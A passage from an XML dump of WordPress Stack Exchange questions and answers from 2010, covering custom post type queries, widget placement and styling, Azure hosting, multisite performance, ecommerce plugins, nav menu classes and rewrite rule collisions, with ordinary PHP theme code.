?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/h2&amp;gt;&#xA;        &amp;lt;small&amp;gt;&amp;lt;?php the_time('F jS, Y') ?&amp;gt; &amp;lt;!-- by &amp;lt;?php the_author() ?&amp;gt; --&amp;gt;&amp;lt;/small&amp;gt;&#xA;        &amp;lt;div class=&quot;entry&quot;&amp;gt;&#xA;          &amp;lt;?php the_content('Read the rest of this entry »'); ?&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;        &amp;lt;p class=&quot;postmetadata&quot;&amp;gt;&amp;lt;?php the_tags('Tags: ', ', ', '&amp;lt;br /&amp;gt;'); ?&amp;gt; Posted in &amp;lt;?php the_category(', ') ?&amp;gt; | &amp;lt;?php edit_post_link('Edit', '', ' | '); ?&amp;gt;  &amp;lt;?php comments_popup_link('No Comments »', '1 Comment »', '% Comments »'); ?&amp;gt;&amp;lt;/p&amp;gt;&#xA;      &amp;lt;/div&amp;gt;&#xA;    &amp;lt;?php endwhile; ?&amp;gt;&#xA;    &amp;lt;div class=&quot;navigation&quot;&amp;gt;&#xA;      &amp;lt;div class=&quot;alignleft&quot;&amp;gt;&amp;lt;?php next_posts_link('« Older Entries') ?&amp;gt;&amp;lt;/div&amp;gt;&#xA;      &amp;lt;div class=&quot;alignright&quot;&amp;gt;&amp;lt;?php previous_posts_link('Newer Entries »') ?&amp;gt;&amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;  &amp;lt;?php else : ?&amp;gt;&#xA;&#xA;  &amp;lt;h2 class=&quot;center&quot;&amp;gt;Not Found&amp;lt;/h2&amp;gt;&#xA;  &amp;lt;p class=&quot;center&quot;&amp;gt;Sorry, but you are looking for something that isn't here.&amp;lt;/p&amp;gt;&#xA;  &amp;lt;?php get_search_form(); ?&amp;gt;&#xA;&#xA; &amp;lt;?php endif; &#xA;&#xA; $wp_query = $temp;  //reset back to original query&#xA;&#xA;}  // if ($category)&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I think it really have to works for posts, but in such case I try to change post for games, try many ways, but don't sucseed yet. Could anyone tell me what I have change in this code? i think that promblem in the begining with 'have post' and 'the loop'. Thanks.&lt;/p&gt;&#xA;" OwnerUserId="1301" LastEditorUserId="473" LastEditorDisplayName="" LastEditDate="2010-10-18T14:15:24.273" LastActivityDate="2010-10-21T14:45:17.327" Title="Wordpress: category page not for post's" Tags="&lt;categories&gt;" AnswerCount="2" />
  <row Id="3002" PostTypeId="1" AcceptedAnswerId="3631" CreationDate="2010-10-18T14:15:54.303" Score="1" ViewCount="372" Body="&lt;p&gt;I have multiple &quot;sidebars&quot;, but not all of them are the same size. Not all widgets fit in all sidebars (for example, I have a &quot;footer sidebar&quot; where the client can place custom widgets, but they are wide, and don't fit at all in the &quot;real&quot; sidebar). I want to give an indication when a widget is placed in a sidebar where it would not belong (change the header text color, for example). What would be the best way to do this?&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2010-11-04T13:41:16.613" Title="Limit widget to certain sidebar?" Tags="&lt;wp-admin&gt;&lt;widgets&gt;&lt;sidebar&gt;&lt;development&gt;" AnswerCount="3" />
  <row Id="3003" PostTypeId="1" AcceptedAnswerId="3005" CreationDate="2010-10-18T14:20:49.267" Score="1" ViewCount="153" Body="&lt;p&gt;I have created some custom widgets for my client to use, but I want to make them stand out amidst the fifteen or so standard widgets in the admin area. How can I do this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;I have solved this problem myself and will place the solution here, but please feel free it add a better solution if you have one.&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2011-03-03T18:14:28.743" Title="Highlight custom widgets in the admin area?" Tags="&lt;wp-admin&gt;&lt;widgets&gt;&lt;sidebar&gt;&lt;development&gt;" AnswerCount="1" />
  <row Id="3004" PostTypeId="2" ParentId="3001" CreationDate="2010-10-18T14:25:33.423" Score="1" ViewCount="" Body="&lt;p&gt;Add the 'post_type' parameter in your query args (&lt;code&gt;'post_type' =&amp;gt; 'game'&lt;/code&gt;):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;if (is_page() ) {&#xA;$category = get_post_meta($posts[0]-&amp;gt;ID, 'category', true);&#xA;}&#xA;if ($category) {&#xA;  $cat = get_cat_ID($category);&#xA;  $paged = (get_query_var('paged')) ? get_query_var('paged') : 1;&#xA;  $post_per_page = 4; // -1 shows all posts&#xA;  $do_not_show_stickies = 1; // 0 to show stickies&#xA;  $args=array(&#xA;    'post_type' =&amp;gt; 'game',&#xA;    'category__in' =&amp;gt; array($cat),&#xA;    'orderby' =&amp;gt; 'date',&#xA;    'order' =&amp;gt; 'DESC',&#xA;    'paged' =&amp;gt; $paged,&#xA;    'posts_per_page' =&amp;gt; $post_per_page,&#xA;    'caller_get_posts' =&amp;gt; $do_not_show_stickies&#xA;  );&#xA;  $temp = $wp_query;  // assign orginal query to temp variable for later use   &#xA;  $wp_query = null;&#xA;  $wp_query = new WP_Query($args); &#xA;  if( have_posts() ) : &#xA;  while ($wp_query-&amp;gt;have_posts()) : $wp_query-&amp;gt;the_post(); ?&amp;gt;&#xA;     &amp;lt;div &amp;lt;?php post_class() ?&amp;gt; id=&quot;post-&amp;lt;?php the_ID(); ?&amp;gt;&quot;&amp;gt;&#xA;        &amp;lt;h2&amp;gt;&amp;lt;a href=&quot;&amp;lt;?php the_permalink() ?&amp;gt;&quot; rel=&quot;bookmark&quot; title=&quot;Permanent Link to &amp;lt;?php the_title_attribute(); ?&amp;gt;&quot;&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/h2&amp;gt;&#xA;        &amp;lt;small&amp;gt;&amp;lt;?php the_time('F jS, Y') ?&amp;gt; &amp;lt;!-- by &amp;lt;?php the_author() ?&amp;gt; --&amp;gt;&amp;lt;/small&amp;gt;&#xA;        &amp;lt;div class=&quot;entry&quot;&amp;gt;&#xA;          &amp;lt;?php the_content('Read the rest of this entry »'); ?&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;        &amp;lt;p class=&quot;postmetadata&quot;&amp;gt;&amp;lt;?php the_tags('Tags: ', ', ', '&amp;lt;br /&amp;gt;'); ?&amp;gt; Posted in &amp;lt;?php the_category(', ') ?&amp;gt; | &amp;lt;?php edit_post_link('Edit', '', ' | '); ?&amp;gt;  &amp;lt;?php comments_popup_link('No Comments »', '1 Comment »', '% Comments »'); ?&amp;gt;&amp;lt;/p&amp;gt;&#xA;      &amp;lt;/div&amp;gt;&#xA;    &amp;lt;?php endwhile; ?&amp;gt;&#xA;    &amp;lt;div class=&quot;navigation&quot;&amp;gt;&#xA;      &amp;lt;div class=&quot;alignleft&quot;&amp;gt;&amp;lt;?php next_posts_link('« Older Entries') ?&amp;gt;&amp;lt;/div&amp;gt;&#xA;      &amp;lt;div class=&quot;alignright&quot;&amp;gt;&amp;lt;?php previous_posts_link('Newer Entries »') ?&amp;gt;&amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;  &amp;lt;?php else : ?&amp;gt;&#xA;&#xA;  &amp;lt;h2 class=&quot;center&quot;&amp;gt;Not Found&amp;lt;/h2&amp;gt;&#xA;  &amp;lt;p class=&quot;center&quot;&amp;gt;Sorry, but you are looking for something that isn't here.&amp;lt;/p&amp;gt;&#xA;  &amp;lt;?php get_search_form(); ?&amp;gt;&#xA;&#xA; &amp;lt;?php endif; &#xA;&#xA; $wp_query = $temp;  //reset back to original query&#xA;&#xA;}  // if ($category)&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Reference: &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/query_posts#Post_.26_Page_Parameters&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Function_Reference/query_posts#Post_.26_Page_Parameters&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="473" LastActivityDate="2010-10-18T14:25:33.423" CommentCount="3" />
  <row Id="3005" PostTypeId="2" ParentId="3003" CreationDate="2010-10-18T14:44:21.240" Score="3" ViewCount="" Body="&lt;p&gt;All widgets in the admin area get an &lt;code&gt;id&lt;/code&gt; in the style &lt;code&gt;widget-[global_counter]_[widget_key]-[widget_id]&lt;/code&gt;, like &lt;code&gt;widget-59_monkeyman_widget_shortcut-5&lt;/code&gt; (installed widget) or &lt;code&gt;widget-11_monkeyman_widget_shortcut-__i__&lt;/code&gt; (an uninstalled widget in the list).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If your widget key contains something unique for all your widgets (like your company name), you can use this and add a &lt;a href=&quot;http://www.w3.org/TR/css3-selectors/#attribute-substrings&quot; rel=&quot;nofollow&quot;&gt;substring attribute CSS selector&lt;/a&gt; (which &lt;a href=&quot;http://www.css3.info/modules/selector-compat/&quot; rel=&quot;nofollow&quot;&gt;works in most browsers&lt;/a&gt;). In my case &lt;code&gt;div.widget[id*=_monkeyman_]&lt;/code&gt; does the trick, so I add a little CSS snippet in the &lt;code&gt;widgets.php&lt;/code&gt; admin page header:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('admin_print_styles-widgets.php', 'monkeyman_widgets_style');&#xA;function monkeyman_widgets_style()&#xA;{&#xA;    echo &amp;lt;&amp;lt;&amp;lt;EOF&#xA;&amp;lt;style type=&quot;text/css&quot;&amp;gt;&#xA;div.widget[id*=_monkeyman_] .widget-title {&#xA;    color: #2191bf;&#xA;}&#xA;&amp;lt;/style&amp;gt;&#xA;EOF;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This gives me the following result:&#xA;&lt;img src=&quot;http://i.stack.imgur.com/rElTv.png&quot; alt=&quot;Highlighted widgets amongst regular widgets&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2010-10-18T14:44:21.240" CommentCount="7" />
  <row Id="3006" PostTypeId="1" AcceptedAnswerId="3011" CreationDate="2010-10-18T14:48:44.907" Score="4" ViewCount="199" Body="&lt;p&gt;Can I host WordPress/WordPress MU installation on Microsoft's Azure cloud platform?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone have any advice or experience hosting WordPress on Azure?&lt;/p&gt;&#xA;" OwnerUserId="1300" LastEditorUserId="251" LastEditorDisplayName="" LastEditDate="2011-05-07T23:08:38.757" LastActivityDate="2011-05-07T23:08:38.757" Title="Hosting WordPress on Azure?" Tags="&lt;hosting&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="3007" PostTypeId="2" ParentId="3002" CreationDate="2010-10-18T15:31:34.793" Score="3" ViewCount="" Body="&lt;p&gt;There is a widget_display_callback hook, which you can use to override the widget based on the sidebar and the widget (return false when inappropriate):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://core.trac.wordpress.org/browser/trunk/wp-includes/widgets.php?rev=15590#L180&quot; rel=&quot;nofollow&quot;&gt;http://core.trac.wordpress.org/browser/trunk/wp-includes/widgets.php?rev=15590#L180&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1208" LastActivityDate="2010-10-18T15:31:34.793" CommentCount="2" />
  <row Id="3008" PostTypeId="2" ParentId="2990" CreationDate="2010-10-18T15:35:43.567" Score="2" ViewCount="" Body="&lt;p&gt;Not out of the box, but you could implement it by:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Adding a user meta on user create.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Dropping that meta on user password update.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Redirecting the user to his profile page, from anywhere else, if the user meta is around.&lt;/p&gt;&#xA;" OwnerUserId="1208" LastActivityDate="2010-10-18T15:35:43.567" CommentCount="1" />
  <row Id="3009" PostTypeId="1" CreationDate="2010-10-18T16:17:23.203" Score="0" ViewCount="211" Body="&lt;p&gt;I have attached some skydrive files in my Wordpress posts. I want to show how many times these were downloaded. Is there any plugin or theme customization or trick to do this easily and effectively? Is there any other service like skydrive (believe only google, microsoft and yahoo, nothing else) to do this job easily?&lt;/p&gt;&#xA;" OwnerUserId="1302" LastActivityDate="2010-11-06T03:46:58.033" Title="Download counter for skydrive shared files in wordpress" Tags="&lt;plugins&gt;&lt;customization&gt;" AnswerCount="1" CommentCount="3" />
  <row Id="3010" PostTypeId="1" AcceptedAnswerId="3012" CreationDate="2010-10-18T16:30:53.087" Score="0" ViewCount="250" Body="&lt;p&gt;I have my multisite site up and running the main site is &lt;a href=&quot;http://mikewills.me&quot; rel=&quot;nofollow&quot;&gt;mikewills.me&lt;/a&gt;. The big problem I am having is performance. It can take several seconds before anything starts showing up. Obviously, this is unacceptable. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have seen some tips like adding &lt;code&gt;&amp;lt;?php flush(); ?&amp;gt;&lt;/code&gt; to the header. I am using the the delivered twenty ten theme. The back-end is also running slow. I am trying to determine if it is the host I am using or if it's something that I have configured wrong. Is there any additional things I can look at that may be needed in a shared host environment?&lt;/p&gt;&#xA;" OwnerUserId="104" LastActivityDate="2010-10-20T07:04:29.180" Title="Poor performance on multisite install" Tags="&lt;multisite&gt;&lt;performance&gt;" AnswerCount="2" />
  <row Id="3011" PostTypeId="2" ParentId="3006" CreationDate="2010-10-18T16:46:08.727" Score="3" ViewCount="" Body="&lt;p&gt;WordPress seems to be &lt;a href=&quot;http://wordpress.visitmix.com/&quot; rel=&quot;nofollow&quot;&gt;one of the poster children of PHP on Azure&lt;/a&gt;, so you can find &lt;a href=&quot;http://blogs.msdn.com/b/jimoneil/archive/2010/09/19/windows-azure-companion-php-and-wordpress-in-azure.aspx&quot; rel=&quot;nofollow&quot;&gt;many resources explaining how to install it&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2010-10-18T16:46:08.727" />
  <row Id="3012" PostTypeId="2" ParentId="3010" CreationDate="2010-10-18T16:47:04.837" Score="3" ViewCount="" Body="&lt;p&gt;I just ran your page through the NET console on Firebug just so I could see what was loading ... and wow ... you have a lot of things loading that don't need to be.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/rwIgj.jpg&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From the looks of things, the following plug-ins are adding scripts and other collateral files to your load which are slowing things down:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Fancybox for WordPress&lt;/li&gt;&#xA;&lt;li&gt;RecipePress&lt;/li&gt;&#xA;&lt;li&gt;PowerPress&lt;/li&gt;&#xA;&lt;li&gt;SHJS Syntax Hiliter&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;On top of that, you're loading a SWF JS object, but I don't see any Flash on your home page.  Adding extra JavaScript will almost always impact your page load time and site performance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm guessing that some of these extra files are hooked on to the &lt;code&gt;init&lt;/code&gt; event, and will load on admin pages as well (slowing things down there).  But you probably also have a lot of plug-ins adding additional (unnecessary?) filters and hooks that are causing the ~7s load of your page's basic HTML file.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Things you can do&lt;/h2&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Turn off all but the most necessary plug-ins.  If you're still using more than 5-6, reconsider how things are put together to try dumping a few more.&lt;/li&gt;&#xA;&lt;li&gt;Use a caching system to serve up HTML.  &lt;a href=&quot;http://wordpress.org/extend/plugins/w3-total-cache/&quot; rel=&quot;nofollow&quot;&gt;W3 Total Cache&lt;/a&gt; is pretty good, and it will return static content for things that haven't changed (which means fewer database hits and filter calls = faster HTML return times).&lt;/li&gt;&#xA;&lt;li&gt;Use &lt;a href=&quot;http://www.alistapart.com/articles/sprites&quot; rel=&quot;nofollow&quot;&gt;image sprites&lt;/a&gt; for your social media icons and other static images on the home page.  There's no need to serve up 7 separate images (i.e. 7 separate requests) for social media and RSS images.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="46" LastActivityDate="2010-10-18T16:47:04.837" CommentCount="3" />
  <row Id="3013" PostTypeId="1" CreationDate="2010-10-18T17:53:46.887" Score="0" ViewCount="193" Body="&lt;p&gt;The project that I'm working on will require a catalog as extensive as these sites:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.ems.com&quot; rel=&quot;nofollow&quot;&gt;http://www.ems.com&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.patagonia.com/us/home&quot; rel=&quot;nofollow&quot;&gt;http://www.patagonia.com/us/home&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;but with odd size/shaped equipment such as:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.spikevolleyball.com/&quot; rel=&quot;nofollow&quot;&gt;http://www.spikevolleyball.com/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;So basically I need an ecommerce package to handle these number of products and variations and also odd issues such as shipping of non-standard sized equipment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can an ecommerce package for Wordpress handle this or I need to go to a purely ecommerce package?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One of the requirements for the client is to make the online store not just about the products but about the history and development of the sport. That's one of the reason why I'm still trying to find a Wordpress solution right now, because Wordpress allows other type of content besides just purely products.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've also &lt;a href=&quot;http://webmasters.stackexchange.com/questions/4013/can-shopp-or-wp-ecommerce-create-something-as-extensive-as-these-sites-other-rec&quot;&gt;cross posted at the Pro Webmaster stackexchange.&lt;/a&gt; &lt;/p&gt;&#xA;" OwnerUserId="448" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2011-02-04T12:19:23.187" LastActivityDate="2011-02-04T12:19:23.187" Title="Can Shopp or WP ecommerce create something as extensive as these sites? Other recommended solutions?" Tags="&lt;plugin-recommendation&gt;&lt;e-commerce&gt;&lt;plugin-wp-e-commerce&gt;&lt;plugin-shopp&gt;" AnswerCount="1" CommentCount="0" />
  <row Id="3014" PostTypeId="1" AcceptedAnswerId="3034" CreationDate="2010-10-18T18:42:13.830" Score="2" ViewCount="3304" Body="&lt;p&gt;&lt;em&gt;(&lt;strong&gt;Moderators note:&lt;/strong&gt; Was originally titled &quot;wp_nav_menu Ancestor class without children in navigation structure&quot;)&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a &lt;code&gt;wp_nav_menu&lt;/code&gt; in my header which had three pages in it. When I am on one of those pages, the &lt;code&gt;li&lt;/code&gt; containing that page in the menu gets the class &lt;code&gt;.current_page_item&lt;/code&gt;. These three pages have templates, and these templates contain custom queries to get all posts of a certain content type. In effect, the perceived &lt;em&gt;&quot;children&quot;&lt;/em&gt; of this top level page are not actually children, they're just of a content type I've associated with that top level page using a template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd like the top level menu items to get a &lt;code&gt;'current-ancestor'&lt;/code&gt; class when the user is browsing a single page of a specific post type, again, associated with that page only in a custom query in the template file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope that makes sense - if not, let me know where I lost you! Very much appreciate any help.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;--Edited for specifics:&lt;/em&gt;&#xA;For example, I have a static page called &lt;em&gt;Workshops&lt;/em&gt; that is using a template. Its slug is &lt;em&gt;workshops&lt;/em&gt;. The template has a custom get_posts function and loop within it, which pulls and displays all posts of a custom content type called &lt;em&gt;workshops&lt;/em&gt;. If I click on one of these workshops' title, I'm taken to the full content of that piece of content. The permalink structure of the custom post type is set to workshops/&lt;em&gt;postname&lt;/em&gt;, so as the user sees it, these pieces of content are children of the Workshops page, when in reality they're all of one content type but unrelated to the page. It's that gap that I need to effectively close in the menu, highlighting the 'Workshops' menu item when browsing content of type 'workshop'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Again, hope that makes sense, I think I said 'workshop' upwards of 20 times in one paragraph!&lt;/p&gt;&#xA;" OwnerUserId="1099" LastEditorUserId="1099" LastEditorDisplayName="" LastEditDate="2010-10-18T23:49:18.027" LastActivityDate="2011-08-20T21:32:04.237" Title="Highlighting wp_nav_menu() Ancestor Class w/o Children in Nav Structure?" Tags="&lt;custom-post-types&gt;&lt;custom-menus&gt;" AnswerCount="6" CommentCount="3" FavoriteCount="5" />
  <row Id="3015" PostTypeId="1" AcceptedAnswerId="6893" CreationDate="2010-10-18T18:45:29.020" Score="3" ViewCount="335" Body="&lt;p&gt;Is it a problem to have a custom taxonomy and a custom post type use the same rewrite structure?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a custom taxonomy &lt;code&gt;people&lt;/code&gt; and a custom post type &lt;code&gt;people_bio&lt;/code&gt;. The idea is that you get a list of posts about a person with a short biography on top of the page. I combine them in my &lt;code&gt;taxonomy-people.php&lt;/code&gt; template file. The permalink is &lt;code&gt;/people/[person-slug]&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Both the custom taxonomy and the custom post type have the &lt;code&gt;rewrite&lt;/code&gt; argument set to &lt;code&gt;array('slug' =&amp;gt; 'people')&lt;/code&gt;. This appears to work: &lt;code&gt;get_term_link('seth-godin', 'people')&lt;/code&gt; returns &lt;code&gt;/people/seth-godin/&lt;/code&gt;, and for a custom post type with slug &lt;code&gt;seth-godin&lt;/code&gt;, &lt;code&gt;get_permalink()&lt;/code&gt; also returns &lt;code&gt;/people/seth-godin/&lt;/code&gt;. The taxonomy is defined first, and it seems to &quot;win&quot;: on a &lt;code&gt;/people/[slug]&lt;/code&gt; page, &lt;code&gt;is_tax()&lt;/code&gt; is true, while &lt;code&gt;is_single()&lt;/code&gt; is false.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, it works, but I don't feel comfortable with it. Is someone more experienced with the rewrite engine, and can you tell me whether this might break other things?&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;The relevant part of the plugin file, called in the &lt;code&gt;init&lt;/code&gt; action:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;register_taxonomy(&#xA;    'people',&#xA;    'post',&#xA;    array(&#xA;        'labels' =&amp;gt; array(&#xA;            'name' =&amp;gt; 'People',&#xA;            'singular_name' =&amp;gt; 'Person',&#xA;            'search_items' =&amp;gt; 'Search people',&#xA;            'popular_items' =&amp;gt; 'Popular people',&#xA;            'all_items' =&amp;gt; 'All people',&#xA;            'parent_item' =&amp;gt; null,&#xA;            'parent_item_colon' =&amp;gt; null,&#xA;            'edit_item' =&amp;gt; 'Edit person',&#xA;            'update_item' =&amp;gt; 'Update person',&#xA;            'add_new_item' =&amp;gt; 'Add person',&#xA;            'new_item_name' =&amp;gt; 'New person',&#xA;            'separate_items_with_commas' =&amp;gt; 'Separate people with commas',&#xA;            'add_or_remove_items' =&amp;gt; 'Add or remove people',&#xA;            'choose_from_most_used' =&amp;gt; 'Choose from the most used people',&#xA;        ),&#xA;        'public' =&amp;gt; true,&#xA;        'show_ui' =&amp;gt; true,&#xA;        'show_tagcloud' =&amp;gt; true,&#xA;        'hierarchical' =&amp;gt; false,&#xA;        'update_count_callback' =&amp;gt; '',&#xA;        'rewrite' =&amp;gt; array(&#xA;            'slug' =&amp;gt; 'people',&#xA;            'with_front' =&amp;gt; true,&#xA;        ),&#xA;        'query_var' =&amp;gt; 'people',&#xA;        'capabilities' =&amp;gt; array(),&#xA;        'show_in_nav_menus' =&amp;gt; true,&#xA;    )&#xA;);&#xA;&#xA;&#xA;register_post_type(&#xA;    'people_bio',&#xA;    array(&#xA;        'label' =&amp;gt; 'People Bio',&#xA;        'labels' =&amp;gt; array(&#xA;            'name' =&amp;gt; 'Biographies',&#xA;            'singular_name' =&amp;gt; 'Biography',&#xA;            'add_new' =&amp;gt; 'Add new',&#xA;            'add_new_item' =&amp;gt; 'Add new biography',&#xA;            'edit_item' =&amp;gt; 'Edit biography',&#xA;            'new_item' =&amp;gt; 'New biography',&#xA;            'view_item' =&amp;gt; 'View biography',&#xA;            'search_items' =&amp;gt; 'Search biographies',&#xA;            'not_found' =&amp;gt; 'No biographies found',&#xA;            'not_found_in_trash' =&amp;gt; 'No biographies found in trash',&#xA;            'parent_item_colon' =&amp;gt; null,&#xA;        ),&#xA;        'description' =&amp;gt; 'Biography pages of interesting people',&#xA;        'public' =&amp;gt; true,&#xA;        'exclude_from_search' =&amp;gt; true,&#xA;        'publicly_queryable' =&amp;gt; true,&#xA;        'show_ui' =&amp;gt; true,&#xA;        'menu_position' =&amp;gt; null,&#xA;        'menu_icon' =&amp;gt; null,&#xA;        'capability_type' =&amp;gt; 'post',&#xA;        'capabilities' =&amp;gt; array(),&#xA;        'hierarchical' =&amp;gt; false,&#xA;        'supports' =&amp;gt; array(&#xA;            'title',&#xA;            'editor',&#xA;            //'author',&#xA;            'thumbnail',&#xA;            'excerpt',&#xA;            //'trackbacks',&#xA;            'custom-fields',&#xA;            //'comments',&#xA;            //'revisions',&#xA;            //'page-attributes',&#xA;        ),&#xA;        'register_meta_box_cb' =&amp;gt; null,&#xA;        'taxonomies' =&amp;gt; array(),&#xA;        'permalink_epmask' =&amp;gt; EP_PERMALINK,&#xA;        //'rewrite' =&amp;gt; false,&#xA;        'rewrite' =&amp;gt; array(&#xA;            'slug' =&amp;gt; 'people',&#xA;            'with_front' =&amp;gt; true,&#xA;        ),&#xA;        'query_var' =&amp;gt; true,&#xA;        'can_export' =&amp;gt; true,&#xA;        'show_in_nav_menus' =&amp;gt; true,&#xA;    )&#xA;);&#xA;&#xA;register_taxonomy_for_object_type('people', 'people_bio');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;(I always use all parameters with &lt;code&gt;register_*()&lt;/code&gt;, many with their default values, as an extra documentation, as long as the Codex is not up-to-date)&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;taxonomy-people.php&lt;/code&gt; template file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;get_header();&#xA;&#xA;$people_biography = get_posts(array(&#xA;    'numberposts' =&amp;gt; -1,&#xA;    'post_type' =&amp;gt; 'people_bio',&#xA;    'taxonomy' =&amp;gt; 'people',&#xA;    'term' =&amp;gt; $wp_query-&amp;gt;get_queried_object()-&amp;gt;slug,&#xA;));&#xA;?&amp;gt;&#xA;&amp;lt;div class=&quot;container_24&quot;&amp;gt;&#xA;    &amp;lt;div class=&quot;grid_18&quot; id=&quot;content&quot; role=&quot;main&quot;&amp;gt;&#xA;        &amp;lt;?php if ($people_biography) :&#xA;            foreach ($people_biography as $bio) : ?&amp;gt;&#xA;                &amp;lt;h1&amp;gt;&amp;lt;?php echo get_the_title($bio-&amp;gt;ID); ?&amp;gt;&amp;lt;/h1&amp;gt;&#xA;                &amp;lt;?php&#xA;                echo get_the_post_thumbnail($bio-&amp;gt;ID);&#xA;                echo apply_filters('the_content', $bio-&amp;gt;post_content); ?&amp;gt;&#xA;        &amp;lt;?php&#xA;            endforeach;&#xA;         else: ?&amp;gt;&#xA;            &amp;lt;h1&amp;gt;&amp;lt;?php esc_html_e($wp_query-&amp;gt;get_queried_object()-&amp;gt;name); ?&amp;gt;&amp;lt;/h1&amp;gt;&#xA;        &amp;lt;?php endif; ?&amp;gt;&#xA;        &amp;lt;?php get_template_part( 'loop', 'archive' ); ?&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&amp;lt;!-- .content --&amp;gt;&#xA;&#xA;    &amp;lt;div class=&quot;grid_6&quot; id=&quot;default_sidebar&quot;&amp;gt;&#xA;        &amp;lt;?php dynamic_sidebar('default-sidebar'); ?&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&amp;lt;!-- #default_sidebar --&amp;gt;&#xA;&amp;lt;/div&amp;gt;&amp;lt;!-- .container_24 --&amp;gt;&#xA;&amp;lt;div class=&quot;clear&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;&amp;lt;?php&#xA;get_footer();&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h2&gt;Update: The generated rewrite rules&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;The output of my &lt;a href=&quot;http://wordpress.stackexchange.com/questions/3606/a-tool-to-analyze-rewrite-rules&quot;&gt;Rewrite Analyzer&lt;/a&gt; seems to tell me the taxonomy &quot;wins&quot; for regular taxonomy pages (which is what I noticed), but the custom post type gets all other URLs (including second pages, feeds, ...). This is what I was afraid of, and which I will need to investigate further.&#xA;&lt;img src=&quot;http://i.stack.imgur.com/eOHGS.png&quot; alt=&quot;Rewrite rules for people taxonomy and post type&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="8" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2010-11-10T08:30:37.537" LastActivityDate="2011-01-13T15:32:01.813" Title="Issues when rewrite rules collide?" Tags="&lt;custom-post-types&gt;&lt;custom-taxonomy&gt;&lt;url-rewriting&gt;" AnswerCount="3" CommentCount="5" FavoriteCount="3" />
